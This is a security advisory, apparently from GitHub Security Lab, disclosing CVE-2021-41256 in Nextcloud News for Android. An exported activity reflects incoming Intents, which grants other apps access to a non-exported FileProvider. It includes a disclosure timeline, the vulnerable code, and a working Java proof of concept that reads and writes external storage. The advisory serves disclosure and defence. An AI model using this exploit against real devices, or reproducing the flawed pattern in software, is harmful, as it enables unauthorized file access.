Coordinated Disclosure Timeline
- 2021-10-26: Emailed report to David Luhmer (david-dev@live.de)
- 2021-10-26: Bug is fixed.
- 2021-10-27: Reply from David Luhmer: “Thank you so much for that find! … The updates will go live as follows: • F-Droid: as soon as possible (usually takes around 2-3 days until release is available) • Google Play (Beta): 27.10.2021 • Google Play (Production): 06.10.2021”
- 2021-11-07: Draft advisory created: GHSA-2q9v-q3cc-h9f3.
- 2021-11-09: CVE-2021-41256 assigned.
- 2021-11-30: GHSA-2q9v-q3cc-h9f3 published.
Summary
The Nextcloud News for Android app has a security issue by which a malicious application installed on the same device can send it an arbitrary Intent that gets reflected back, unintentionally giving read and write access to non-exported Content Providers in Nextcloud News for Android.
Product
Nextcloud News for Android
Tested Version
0.9.9.62 (latest)
Details
Issue 1: Intent URI permission manipulation (GHSL-2021-1033
)
The activity SettingsActivity
is exported (since it has an intent-filter
), as it can be seen in the Android Manifest:
<activity
android:name=".SettingsActivity"
android:configChanges="keyboardHidden|orientation|screenSize"
android:label="@string/title_activity_settings">
<intent-filter>
<action android:name="de.luhmer.owncloudnewsreader.ACCOUNT_MANAGER_ENTRY" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
In its onStart
method, this activity obtains the incoming Intent
and returns it back to the calling application using setResult
:
@Override
protected void onStart() {
super.onStart();
Intent intent = getIntent();
intent.putExtra(
SettingsActivity.SP_FEED_LIST_LAYOUT,
mPrefs.getString(SettingsActivity.SP_FEED_LIST_LAYOUT, "0")
);
setResult(RESULT_OK,intent);
}
Because of this, any application that uses startActivityForResult
to start SettingsActivity
with an arbitrary Intent will receive it back.
An attacker can exploit this by including the flags FLAG_GRANT_URI_READ_PERMISSION
and/or FLAG_GRANT_URI_WRITE_PERMISSION
in the Intent, which once returned by Nextcloud News will provide access to any of its Content Providers that has the attribute android:grantUriPermissions="true"
, even if it is not exported.
Nextcloud News declares the FileProvider
Content Provider in its Android Manifest:
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="${applicationId}.provider"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/file_provider_paths" />
</provider>
The files it gives access to are defined in file_provider_paths
:
<?xml version="1.0" encoding="utf-8"?>
<paths>
<external-path
name="external_files" path="." />
</paths>
With this information, an attacker can create an Intent targeted to SettingsActivity
with the appropriate flags and the data URI content://de.luhmer.owncloudnewsreader.provider/external_files/
to access the external storage using Nextcloud News as a proxy without needing to request the external storage permissions.
See the Resources
section for a proof of concept exploiting this vulnerability.
Impact
This issue may lead to Privilege Escalation: a malicious application can use Nextcloud News for Android as a proxy to access the device’s external storage without needing to request the appropriate permission to do so.
In a worst-case scenario, the attacker could overwrite files that are saved in the external storage and are owned and used by Nextcloud News to alter its functionality, since it is mentioned in PRIVACY.md
that the external storage is used for caching purposes:
android.permission.WRITE_EXTERNAL_STORAGE
Used for caching purposes / offline reading / storing podcasts
Resources
The following PoC demonstrates how a malicious application with no special permissions could read and write from the external storage in behalf of Nextcloud News exploiting the issue mentioned above:
public class IntentUriManipulationPoc extends Activity {
public void poc() {
Intent i = new Intent();
i.setClassName("de.luhmer.owncloudnewsreader", "de.luhmer.owncloudnewsreader.SettingsActivity");
i.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
i.setData(Uri.parse("content://de.luhmer.owncloudnewsreader.provider/external_files/Documents/test.txt"));
startActivityForResult(i, 5);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
try {
OutputStream outputStream = getContentResolver().openOutputStream(data.getData());
outputStream.write("pwned".getBytes());
Log.w("attacker", "Written!");
InputStream inputStream = getContentResolver().openInputStream(data.getData());
Log.w("attacker", IOUtils.toString(inputStream, StandardCharsets.UTF_8));
} catch (Exception e) {
Log.e("attacker", e.toString());
}
}
}
CVE
- CVE-2021-41256
Resources
Credit
This issue was discovered and reported by the CodeQL team member @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-1033
in any communication regarding this issue.